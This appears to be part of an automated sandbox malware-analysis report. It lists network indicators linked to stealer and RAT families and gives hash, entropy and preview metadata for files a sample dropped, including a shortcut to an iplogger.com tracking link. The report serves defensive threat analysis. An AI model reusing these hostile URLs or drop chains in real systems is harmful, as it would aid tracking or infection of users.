iplogger.com	cW5i0RdQ4L.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	cW5i0RdQ4L.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	Activator by URKE v2.5.exe	Get hash	malicious	LummaC	Browse	172.67.188.178
	SecuriteInfo.com.Trojan.DownLoaderNET.786.13278.22147.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	file.exe	Get hash	malicious	DarkTortilla, PureLog Stealer	Browse	104.21.76.57
	file.exe	Get hash	malicious	DarkTortilla	Browse	104.21.76.57
	Setup3.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	file.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	SecuriteInfo.com.W32.MSIL_Kryptik.EQI.gen.Eldorado.19106.7830.exe	Get hash	malicious	DarkTortilla	Browse	172.67.188.178
	file.exe	Get hash	malicious	DarkTortilla	Browse	172.67.188.178

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	kAsh3nmsgs.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	5tmmrpv3dn.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	bIcqeSVPW6.exe	Get hash	malicious	FormBook	Browse	104.21.38.192
	mnXS9meqtB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.16.1
	xaqnaB0rcW.exe	Get hash	malicious	FormBook	Browse	104.21.54.126
	8L6MBxaJ2m.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	aS39AS7b0P.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	gGI2gVBI0f.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	ZpYFG94D4C.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	Exodus.txt.lnk	Get hash	malicious	StormKitty	Browse	104.16.185.241
CLOUDFLARENETUS	kAsh3nmsgs.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	5tmmrpv3dn.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	bIcqeSVPW6.exe	Get hash	malicious	FormBook	Browse	104.21.38.192
	mnXS9meqtB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.16.1
	xaqnaB0rcW.exe	Get hash	malicious	FormBook	Browse	104.21.54.126
	8L6MBxaJ2m.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	aS39AS7b0P.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	gGI2gVBI0f.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	ZpYFG94D4C.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	Exodus.txt.lnk	Get hash	malicious	StormKitty	Browse	104.16.185.241
CLOUDFLARENETUS	kAsh3nmsgs.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	5tmmrpv3dn.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	bIcqeSVPW6.exe	Get hash	malicious	FormBook	Browse	104.21.38.192
	mnXS9meqtB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.16.1
	xaqnaB0rcW.exe	Get hash	malicious	FormBook	Browse	104.21.54.126
	8L6MBxaJ2m.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	aS39AS7b0P.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	gGI2gVBI0f.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	ZpYFG94D4C.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	Exodus.txt.lnk	Get hash	malicious	StormKitty	Browse	104.16.185.241
RAINBOW-HKRainbownetworklimitedHK	sh4.elf	Get hash	malicious	Unknown	Browse	85.239.34.134
	ppc.elf	Get hash	malicious	Unknown	Browse	85.239.34.134
	arm6.elf	Get hash	malicious	Unknown	Browse	85.239.34.134
	arm5.elf	Get hash	malicious	Unknown	Browse	85.239.34.134
	m68k.elf	Get hash	malicious	Unknown	Browse	85.239.34.134
	mpsl.elf	Get hash	malicious	Unknown	Browse	85.239.34.134
	harm.elf	Get hash	malicious	Unknown	Browse	85.239.34.134
	mips.elf	Get hash	malicious	Unknown	Browse	85.239.34.134
	spc.elf	Get hash	malicious	Unknown	Browse	85.239.34.134
	x86.elf	Get hash	malicious	Unknown	Browse	85.239.34.134

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	5tmmrpv3dn.exe	Get hash	malicious	LummaC Stealer	Browse	104.102.49.254 104.21.96.1 85.239.54.77 188.114.96.3
	b0cQukXPAl.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.96.1 85.239.54.77 188.114.96.3
	Q7QR4k52HL.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.96.1 85.239.54.77 188.114.96.3
	xNuh0DUJaG.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.96.1 85.239.54.77 188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.96.1 85.239.54.77 188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.96.1 85.239.54.77 188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.96.1 85.239.54.77 188.114.96.3
	Full-Ver_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.102.49.254 104.21.96.1 85.239.54.77 188.114.96.3
	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	104.102.49.254 104.21.96.1 85.239.54.77 188.114.96.3
	Mmm7GmDcR4.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.96.1 85.239.54.77 188.114.96.3

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.7307872139132228
Encrypted:	false
SSDEEP:	3:Nlllul4/X:NllU4/
MD5:	3C34689C4BD27F7A51A67BBD54FA65C2
SHA1:	E444E6B6E24D2FE2ACE5A5A7D96A6142C2368735
SHA-256:	4B7DAB4629E6B8CC1CD6E404CB5FC110296C3D0F4E3FDBBDB0C1CE48B5B8A546
SHA-512:	02827A36A507539C617DFE05EDF5367EB295EB80172794D83F3E9AF612125B7CA88218C2601DFA8E0E98888061A0C7B0E78428188523FA915F39B23F148F8766
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................,.........................

C:\Users\user\AppData\Local\Temp\2d2c1323

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe
File Type:	PNG image data, 2256 x 767, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1124405
Entropy (8bit):	7.993459450638687
Encrypted:	true
SSDEEP:	24576:c9oniNWk+rfE2SR8ddo9LSlEqa6VV+hbavt/87e7ZYfAFaU6Pxyoj:c99VkYR8ueA6VV+hbavSeb/axPj
MD5:	DC829DF7BAA6D6EA2D12618E862B737B
SHA1:	022421AE7B594D542DC297C700CC5082F1F84EAF
SHA-256:	17CCC2BAC73E1C26DD1DA9A86CDE352AC6F29A8D1A5C53CF1A57529212BB5D0C
SHA-512:	795ECF1B815548EF79E13AB6451E0A1606B6662FEB7B47E84A7E1B5409F9BB29F04CB9D0E09F4260D0DB91277E4857786F53F538E989808481027175BCDAE627
Malicious:	false
Preview:	.PNG........IHDR............."`?... .IDATx..;...&..+.U.{.5.{...@{H..$....#..I.+Q..!.06A.;M.M.^."..{..@.{.....W..gFg...UY].]......:.2.A\|...`...=..\..._@@@@...n....m0..@k.._&....._7."....M....uM..?.4.....? ?.9g..@S.~.1.?..&?".0w.......`)%0..UU.K.TUE....K..K)..eY:/U.u...RZkrw)%>{UV.A...&..J)\|..,.o....n_.1&......]I.Xw.Kp.q..&.w...._...H@.6.......#.....$...$..uC...[c$.1p..R0`#$.P.-$....!.......g....-3...3..\|..u;....l.1..U9\F..J..c\|Zi....C...........~.a ...1.a..?s}.Pv.``.\|.....K.....?..=.......Y>..3.l2..@.......Y.6r.#.o/........-......6w._..)....\.@5..cL.......2z.....$.. .B......p"....}...u.[...I......0...v...H..M~D...".q........c...uc.$H....\.#....E...B.I>..@..(.g}...=Rx.B.....C.A.wW.1....V..Q....$.............S..".........P..........-.o..1...6.......R^.... ......,..........K%..X.T..d"....W.O.J.A.g....q..]b%\|v........0..K.7=...k.....p!.^....Q.........{..I>.....]B..$..V..n....s....P.;..w..7..G...(.. C......G.Y{w.q.".p..d..p.$4Mm........}.....A..

C:\Users\user\AppData\Local\Temp\2e14ca08

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe
File Type:	data
Category:	modified
Size (bytes):	1043067
Entropy (8bit):	7.513801666224691
Encrypted:	false
SSDEEP:	24576:DwBNBmSXwdwpJdPuqX9Jitxwd1oDVHpQkCVwicLtJe:DclXRdPuqX9JitxFDu1chJe
MD5:	5ED153B8BD91360D72F112F08E870165
SHA1:	F13D9BB039C93C7BE5E3A97E5D18880124571625
SHA-256:	00CC560E25C0D2D570BC1DD3D3337C5E565826D991A341674A2A3587C2B2E017
SHA-512:	4E991D1A567A9D372FB4285AD3455FF416C814B933306A0C95C5161ACF7505B798449F879EBF8AF1547A00C4C5DC88302229AB9D7FE1F7A5DB1A10591DF57006
Malicious:	false
Preview:	K`.)H`.)H`.)H`.)I`.)l`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)m!.y.!.hm<.@+..Z'..u...M'..u...[<@.L&..y:..[)..u...[<..)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)...G!..H$..L...)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)...[-..L...])..LH`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)m7.g.)...-.J:..F...g.4.o:..L?..BH`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)>R..fU..zW.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)H`.)

C:\Users\user\AppData\Local\Temp\4e7a24a8

Download File

Process:	C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe
File Type:	PNG image data, 3824 x 2597, 8-bit/color RGB, non-interlaced
Category:	modified
Size (bytes):	8843847
Entropy (8bit):	7.998772269950364
Encrypted:	true
SSDEEP:	196608:x+Lnn4yzZmv5mGTT8G3ZlR9EajLTit2ZUWHQ4K9Mdwv:8Ln9lGTT73ZvjZPQ4yz
MD5:	58D6490DD7D8DF114644D03C9837F500
SHA1:	C33A725329BEA974AD11DA81DC8BD6C4FB47714F
SHA-256:	31B3D63CB6AB96CCD4FCF2FBE4BC9343DA86B4793A0E91E1809D969FFDE8FCAD
SHA-512:	9667CC7DC0838CB204346D200803789705FCD7716E2757985D98042EE38E12DBBF53A552B83203B46E354307C6E41DD33EB3A898E19F7213502EC621352D0824
Malicious:	false
Preview:	.PNG........IHDR.......%.......... .IDATx..K......+.U}.93+.....Ix= ...][.Z$.DykBZ...^o....]C..9..14.mvw.....3.3......F....:.2.A\|...`?\|....\..._@@@@...n....m0..@k.._&....._7."....M....uM..?.4.....? ?.9g..@S.~.1.?..&?".0w.......`)%0..UU.K.TUE....K..K)..eY:/U.u...RZkrw)%>{UV.A...&..J)\|..,.o....n_.1&......]I.Xw.Kp.q..&.w...._...H@.6.......#.....I..I....k...H>c...H....\|B5..\|..G...N.;$.........`H..w......f..Ck]..e..^....4...lA........{..K0..a.m.~...a.}.M..c8....c.?F.=....7...I>..3.l2..@.......$..7..RJ.XwW...eI.....6w._..)....\.@5..cL.......2z.....#...`!.J....8.....v...........$h...N...@S...>..A...B..q..w..".a..8[7.A...q..l.\|,....X..Zh:..W.X..e.....G..W..e...\|...b....B....N.... 0..k.-.z...p..._.......O.....U..%....7.g..M.q...\.K.}..$.Z....7.......=H.T.1>..K%qM&.\|p.\|....d\|.. .R2...K.....b.0.u.. !..{...8.~-vA.\|....w.SM.0.......\|.%`..}...K...O..K...zH>.\....=....=$.0s.....(..I>#.jtC68RI...[.(...ZHv...9B...}.... ......>..jx....

C:\Users\user\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (986)
Category:	dropped
Size (bytes):	16791
Entropy (8bit):	4.431180163596247
Encrypted:	false
SSDEEP:	192:xSD+TD90sp7aSVbJ/CtzfWdYdKG7VhN3EpIJ5tFtQjMY5VhIJ+Ik:7azfVZ3LPQD6J7k
MD5:	2E59DF53309DBD234F876BAD5C73F5B4
SHA1:	BB243841CEA5D85A0E2849C949B9BB11CEB4FC33
SHA-256:	B73DF91C83960A7DCCE8F112B1F7E4DB8EC6B659D4AC706F79A1A703297533DD
SHA-512:	34C966EC7213CA502849BAC1BB6B18A3C4B30EC07EB8FFAA837D048ED853C15842256C6C2869F96ADBA2EB9994A85393CED0CEDC72B9A9DA8E08BB019FBB3E5A
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="icon" href="https://www.cloudflare.com/favicon.ico" />. <title>Forbidden</title>. <style>. body {. font-family: system-ui;. font-weight: 300;. font-size: 1.25rem;. color: #36393a;. display: flex;. align-items: center;. justify-content: center;. }. main {. max-width: 1200px;. margin-top: 120px;. display: flex;. flex-wrap: wrap;. align-items: center;. justify-content: center;. }. #text {. max-width: 60%;. margin-left: 1rem;. margin-right: 1rem;. }. main > section > div {. margin-bottom: 3.25rem;. }. svg {. margin-left: 2rem;. }. h1 {. font-size: 3.75rem;. font-weight: 400;. margin-bottom: 0.5rem;. }. h3 {.

C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24266048
Entropy (8bit):	7.397486806664539
Encrypted:	false
SSDEEP:	393216:mvPmfgzRfZwD7Jsv6tWKFdu9C7Ln9lGTT73ZvjZPQ4yF:DfgzRfZwLj9YNvjS4yF
MD5:	C57C4C4820D5161E30295446E163A41F
SHA1:	B44DF08FF63FFFEB43E8A2ACE25D81E50566AB1F
SHA-256:	E0F1188399D9F04343C236251C24BFDBD56758975A125B29B93E8FF38636AA51
SHA-512:	69C508ACD011F47AAA1284AC877D8344FA59AD9D481FEDCBBB196EE141F8E8A475CB62EDFC411C0F61BB0923695B34B81CE8A736B70A0B60776E3E839CF40735
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K.;...U...U...U.I.....U..M....U.....@.U.....\.U.......U.......U.......U.......U...T...U.......U.......U.......U.......U.......U.Rich..U.................PE..L....>lU.................8..........._.......P....@.......................... t......Hr...@.........................0...1...d...........U...........0.r../....n.....................................#..@............P...............................text...(7.......8.................. ..`.rdata..`.C..P....C..<..............@..@.data...h.... ......................@....qtmetad............................@..P_RDATA..$...........................@..@.rsrc...U...........................@..@.reloc........n.......l.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe

Download File

Process:	C:\Users\user\Desktop\4kN17cL4Tn.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	19334800
Entropy (8bit):	7.579634702729167
Encrypted:	false
SSDEEP:	196608:YuRbWbrX/oNV2bi+kdJH0zAfZceExP+wV8WI17Gw8Ib1te+eAG4h7aJ6D1MmSKjz:fEsIbxE3+R1Jst8IXe+ltD1B8/6
MD5:	CBD9AE608AFDA66BA0D1DF907FEA0EAA
SHA1:	E23AF3A3A89FFDB363E887B60FF9D45F316445BA
SHA-256:	FE26511A6AF7FE9C7C5FFE586B6BD2CE84E21D84BFA04D371F8E2DB929B520AF
SHA-512:	B3639FBB4352FAD47EB867ED6B1D508D6C23F7E3D8E88FCDA42FFA4885A7E7FAB8347924EC55DB2F6456C1425CBA37BE2A2103CB54B30CB199822EC549EE4ADC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........w..............f5.........p.........t...@.................................^S.......................................Py.0....py.y.............&..)............................................................t..............................text....d5......f5.................`..`.rdata....?...5...?..j5.............@..@.data........t..(....t.............@....idata..0....Py.......w.............@....symtab......`y.......w................B.rsrc...y....py.......w.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\silesoft.url

Download File

Process:	C:\Users\user\Desktop\4kN17cL4Tn.exe
File Type:	Generic INItialization configuration [InternetShortcut]
Category:	dropped
Size (bytes):	117
Entropy (8bit):	4.78189251331931
Encrypted:	false
SSDEEP:	3:J25YdimVVG/VClAWPUyxAbABGQEZapfdCCA39myn:J254vVG/4xPpuFJQxdCCAl
MD5:	9FF05C4C4C10A590DBAA0853D885B7EF
SHA1:	985EAE1A26F29F738BD527582803CD3453B72A15
SHA-256:	81BA5FF1AF9CDFFFD0803BFB0848F9063E7693AD3EE7A2158CE782AD90FBEF4E
SHA-512:	57D6731112E16B8E9669747B69DE6FDF3CECA02482D951863342551ECA3072C4A14657A1DE1817A178C4F42ED7855733C0C964B24C4AFE934BD287D3B472E127
Malicious:	false
Preview:	[{000214A0-0000-0000-C000-000000000046}]..Prop3=19,11..[InternetShortcut]..IDList=..URL=https://iplogger.com/15PRC4..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0rpbogzy.50o.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_khdvscpl.4qc.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\wlfdmdt

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	311808
Entropy (8bit):	6.84734102477583
Encrypted:	false
SSDEEP:	6144:V5g9PjKfx5xWc/SW7wP+wkdGdfJ7rLR3qPz6LLi+:VG9PjOxWca1OYfJjUmC+
MD5:	0456D50CCC6886B22A854BBE9A2CDCAF
SHA1:	B30A88D3D877BA66DC520CC42FB9200D154B85A0
SHA-256:	A7D85EEC37182808632DE5D38A68DF230E3A2E87E5CB37362DC168EAB08F30A6
SHA-512:	21DCDF88E5BA9D62EB84660BB14874F3508371BD54C0C6CFC6DA1B1D5553F040E47E9AD623C2C2237D95788F2D75968CC2A6BE5D3B85F31439AB3138383B6FAA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....P..........................................@.......................................@..................................+...............................P...<...................................................-...............................text............................... ..`.rdata... ......."..................@..@.data...`....@...X..................@....CRT.........@.......r..............@..@.reloc...<...P...>...t..............@..Bfot.................................@...........................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 68 x 79, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.014960565232003
Encrypted:	false
SSDEEP:	3:yionv//thPlrgts/1xl/k4E08up:6v/lhP6s/17Tp
MD5:	41372D46C3992DCFC191C55F9E3A6556
SHA1:	BBCAB11E31A0848F9463B0CFBC595A9F0AD381D0
SHA-256:	5E4DA60CC749AC8DAE2A5E45C175BF3E93EE488A2AAE73B17971AAAC69E07663
SHA-512:	96141BD6E231FFC9190D363BFB44FDDEF2171A476B4CF819112165919EC094B15A5AA21FE208C3C47349F6FDCD9F3C384BF75E1B895F2C87AB817C94DDFAC1CA
Malicious:	false
Preview:	.PNG........IHDR...D...O.......&....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js?onload=JgQlg5&render=explicit
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 68 x 79, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.014960565232003
Encrypted:	false
SSDEEP:	3:yionv//thPlrgts/1xl/k4E08up:6v/lhP6s/17Tp
MD5:	41372D46C3992DCFC191C55F9E3A6556
SHA1:	BBCAB11E31A0848F9463B0CFBC595A9F0AD381D0
SHA-256:	5E4DA60CC749AC8DAE2A5E45C175BF3E93EE488A2AAE73B17971AAAC69E07663
SHA-512:	96141BD6E231FFC9190D363BFB44FDDEF2171A476B4CF819112165919EC094B15A5AA21FE208C3C47349F6FDCD9F3C384BF75E1B895F2C87AB817C94DDFAC1CA
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/9003851e0d620f5f/1736583968694/YjI3dvGUaxr5YyA
Preview:	.PNG........IHDR...D...O.......&....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2833
Entropy (8bit):	7.876846206921263
Encrypted:	false
SSDEEP:	48:Kw15hc/Pj2itdgjeVVO/SzBdCvhaHAlJX7XnF/HDoSH8T78atjZeHMBx/F/WssM:J15hc/Pj2mdgjMjusgl5XFD3MoIx9eg
MD5:	18C023BC439B446F91BF942270882422
SHA1:	768D59E3085976DBA252232A65A4AF562675F782
SHA-256:	E0E71ACEF1EFBFAB69A1A60CD8FADDED948D0E47A0A27C59A0BE7033F6A84482
SHA-512:	A95AD7B48596BC0AF23D05D1E58681E5D65E707247F96C5BC088880F4525312A1834A89615A0E33AEA6B066793088A193EC29B5C96EA216F531C443487AE0735
Malicious:	false
URL:	https://iplogger.com/favicon.ico
Preview:	.PNG........IHDR...@...@......iq.....IDATx.....e.._Osm...,uY.sYI.w.$..........:VjD..!...o%....5$......... (..;~8."......h...r.^/}...\|..qm.O.w..I.m....>..y>.?_.....;_=.b.R4X..4.2....S!.P.m>......*`........@.....O...\,...o..@..RS.5.3.....M..@.....>..\|....2p ......v...-a.9........V..0.X....`(.....TH.i....o:.....'p3.[.Lx.q.1.....XN/j.M...y..+....!r.P........F.6....M.W./".QK.....?...r....f.7.?...7..y@..-` ......f.7..x.......z-......u6D...M.=.6D....`X..>.......`....?..-....s..\..._...Vc.&......rzM...9B....dJp.......\|....@..O....."je...oGL..1.......R!5\.Q.7.......Mb.x.x....)E.u.b9.Ad.<..x.8.L!...8...aV#..\|>.R...9+.....P......~..^...;?.#q......d.G.a`..I...c9..\..Cc',.l.-.......m.H..E......s.s...:.l>....L....u...g#Q..0.<...3.~=b.....TH.....M......K..a..R48....W.[..6...?...3.)..r.WHd8...o(.^.....]..~.8ef49..F......d.QF.zg).,.#.E.-..q..L.....^.u.x.XY....,.......C.i=lJ..c.?.4E=@......Y.r...`......Z.8].....A../.R...5.-.YG1...b.....y..x.".'Y...b1.....K..$..">..

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
